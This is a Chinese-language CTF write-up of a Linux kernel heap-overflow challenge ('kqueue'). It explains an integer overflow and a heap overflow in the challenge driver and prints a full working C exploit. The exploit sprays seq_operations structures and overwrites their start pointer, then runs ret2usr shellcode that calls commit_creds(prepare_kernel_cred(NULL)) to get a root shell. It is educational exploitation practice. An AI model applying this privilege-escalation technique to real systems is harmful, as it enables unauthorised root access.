堆溢出例题,参考a3大佬的博客来学习 : -)

保护机制

查看启动脚本,开启了KASLR,关闭了KPTI,可以利用ret2usr进行利用。

1
2
3
4
5
6
7
8
9
10
11
12
#!/bin/bash

exec qemu-system-x86_64 \
-cpu kvm64 \
-m 512 \
-nographic \
-kernel "bzImage" \
-append "console=ttyS0 panic=-1 pti=off kaslr quiet" \
-monitor /dev/null \
-initrd "./rootfs.cpio" \
-net user \
-net nic

源码分析

提供了kqueue.c源码,定义了kqueue设备,ops只定义了ioctl操作。该操作为一个堆菜单,包括增删改查等操作。

用户传入的结构体定义如下:

1
2
3
4
5
6
7
typedef struct{
uint32_t max_entries; // 一个kqueue中的entries数目
uint16_t data_size; // 一个kqueue元素的大小
uint16_t entry_idx; // 在kqueue中的index
uint16_t queue_idx; // queue的index
char* data; // 传入数据指针
}request_t;

在模块中进行创建和维护的结构或者说内存布局应该如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
-------------------------	<-	0
| main_queue |
------------------------- <- data_size
| queue_entry_list[0] |
------------------------- <- data_size*2
| queue_entry_list[1] |
------------------------- <- data_size*3
| queue_entry_list[2] |
------------------------- <- data_size*4
| ... |
-------------------------
| queue_entry_list[n] |
------------------------- <- data_size*(max_entries+1)

main_queue为queue结构体,其内容如下:

1
2
3
4
5
6
7
typedef struct{
uint16_t data_size;
uint64_t queue_size; /* This needs to handle larger numbers */
uint32_t max_entries;
uint16_t idx;
char* data;
}queue;

queue_entry_list中每个条目为queue_entry结构体,其内容如下:

1
2
3
4
5
struct queue_entry{
uint16_t idx;
char *data;
queue_entry *next;
};

然后需要注意的一点是该题目定义的err函数内容如下:

1
2
3
4
static long err(char* msg){
printk(KERN_ALERT "%s\n",msg);
return -1;
}

也就是说输入不合法数据并不会错误退出。

create操作

直接分配queue_size = (max_entries+1) * data_size + sizeof(queue)大小的堆内存空间;然后为main_queue以及每个queue_entry赋值。

虽然有整数溢出判断逻辑,但是并不会exit。

delete操作

free掉指定idx的queue_entry。

edit操作

修改指定index的queue_entry数据内容

save操作

分配queue_size大小的堆并按照 request.data_size 来进行 memcpy。因此这里存在堆溢出。

漏洞利用分析

存在create的整数溢出以及save的堆溢出。

整数溢出可以直接发送request.max_entries = 0xffffffff,从而__builtin_umull_overflow函数计算space为0,并且可以绕过整数溢出检测。

1
if(__builtin_umulll_overflow(sizeof(queue_entry),(request.max_entries+1),&space) == true)

因此可以发送0xffffffff的max_entries输入,create函数会申请大小为0x18的chunk,该大小会分配到kmalloc-32中,如果要实现利用要选取从该slab中分配的结构体。为seq_operations,当我们打开一个 stat 文件时(/proc/self/stat)便会在内核中分配一个seq_operations结构体,该结构体定义于 /include/linux/seq_file.h文件中,只定义了4个函数指针:

1
2
3
4
5
6
struct seq_operations {
void * (*start) (struct seq_file *m, loff_t *pos);
void (*stop) (struct seq_file *m, void *v);
void * (*next) (struct seq_file *m, void *v, loff_t *pos);
int (*show) (struct seq_file *m, void *v);
};

当我们read一个stat文件时,内核会调用其proc_ops的proc_read_iter指针,默认为seq_read_iter()函数,定义为fs/seq_file.c

1
2
3
4
5
6
ssize_t seq_read_iter(struct kiocb *iocb, struct iov_iter *iter)
{
struct seq_file *m = iocb->ki_filp->private_data;
//...
p = m->op->start(m, &m->index);
//...

其调用了seq_operations->start函数。因此可以控制start函数来提权。

由于开启了RANDOM_FREELIST保护,需要通过堆喷的方式让queue结构体堆附近布满seq_operation结构体,从而让其能够达到溢出的目的。

至于如何泄漏内核基址,通过编写shellcode在内核栈上找到数据(因为没有开启smep,smap)来执行commit_creds(prepare_kernel_cred(NULL))

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
"mov r12, [rsp + 0x8];"
"sub r12, 0x201179;"
"mov r13, r12;"
"add r12, 0x8c580;" // prepare_kernel_cred
"add r13, 0x8c140;" // commit_creds
"xor rdi, rdi;"
"call r12;"
"mov rdi, rax;"
"call r13;"
"swapgs;"
"mov r14, user_ss;"
"push r14;"
"mov r14, user_sp;"
"push r14;"
"mov r14, user_rflags;"
"push r14;"
"mov r14, user_cs;"
"push r14;"
"mov r14, root_rip;"
"push r14;"
"iretq;"

编写exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
#define _GNU_SOURCE 
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#include "kernelpwn.h"


#define CREATE_KQUEUE 0xDEADC0DE
#define EDIT_KQUEUE 0xDAADEEEE
#define DELETE_KQUEUE 0xBADDCAFE
#define SAVE 0xB105BABE
#define MAX_STAT_FILE_NUM 0x200
int dev_fd;
size_t root_shell;

typedef struct{
uint32_t max_entries; // 一个kqueue中的entries数目
uint16_t data_size; // 一个kqueue元素的大小
uint16_t entry_idx; // 在kqueue中的index
uint16_t queue_idx; // queue的index
char* data; // 传入数据指针
}request_t;

void create_kqueue(uint32_t max_entries, uint16_t data_size)
{
request_t request;
request.max_entries = max_entries;
request.data_size = data_size;

ioctl(dev_fd, CREATE_KQUEUE, &request);
}

void delete_kqueue(uint16_t queue_idx)
{
request_t request;
request.queue_idx = queue_idx;

ioctl(dev_fd, DELETE_KQUEUE, &request);
}

void edit_kqueue(uint16_t queue_idx, uint16_t entry_idx, char * data)
{
request_t request;
request.queue_idx = queue_idx;
request.entry_idx = entry_idx;
request.data = data;

ioctl(dev_fd, EDIT_KQUEUE, &request);
}

void save_kqueue(uint16_t queue_idx, uint16_t data_size, uint16_t max_entries)
{
request_t request;
request.max_entries = max_entries;
request.queue_idx = queue_idx;
request.data_size = data_size;

ioctl(dev_fd, SAVE, &request);
}

void usr_shellcode()
{
asm volatile(
".intel_syntax noprefix;"
"mov rax, [rsp+8];"
"sub rax, 0x201179;"
"sub rbp, 0x8;"
"push rax;"
"xor rdi, rdi;"
"mov r12, [rsp];"
"add r12, 0x8c580;" // prepare_kernel_cred
"call r12;"
"mov rdi, rax;"
"mov r12, [rsp];"
"add r12, 0x8c140;" // commit_creds
"call r12;"
"swapgs;"
"mov r14, user_ss;"
"push r14;"
"mov r14, user_sp;"
"push r14;"
"mov r14, user_rflags;"
"push r14;"
"mov r14, user_cs;"
"push r14;"
"mov r14, root_shell;"
"push r14;"
"iretq;"
".att_syntax;"
);
}

int main(int argc, char ** argv, char ** envp)
{
int fd_list[MAX_STAT_FILE_NUM];
size_t * data;
char * tmp_data;
// basic works
bind_core(0);
save_status();
root_shell = (size_t)(&get_root_shell);

// open target device
dev_fd = open("/dev/kqueue", O_RDWR);
if (dev_fd < 0) {
log_error("open target device failed!");
}

data = malloc(0x100);
for (int i=0; i<0x100/8; i++){
data[i] = (size_t)usr_shellcode;
}

// trigger interger overflow
log_info("Step1: send max_entrie 0xffffffff to trigger interger overflow");
create_kqueue(0xffffffff, 0x100);

// heap spray seq_operations
log_info("Step2: heap spraying...");
edit_kqueue(0, 0, (char *)data);

for (int i=0; i<MAX_STAT_FILE_NUM; i++)
{
fd_list[i] = open("/proc/self/stat", O_RDONLY);
}

// heap overflow to overwrite seq_operations->start func pointer
log_info("Step3: heap overflow to overwrite seq_operation.start");

save_kqueue(0, 0x40, 0);

tmp_data = malloc(0x10);
for (int i=0; i<MAX_STAT_FILE_NUM; i++){
read(fd_list[i], tmp_data, 1);
}
return 0;
}

最终可以成功执行到system(“/bin/sh”)函数,但是会出现栈不平衡的问题,暂时还没找到解决方法。(后续,堆喷的数量太多了,设置成 0x200 即可)

参考链接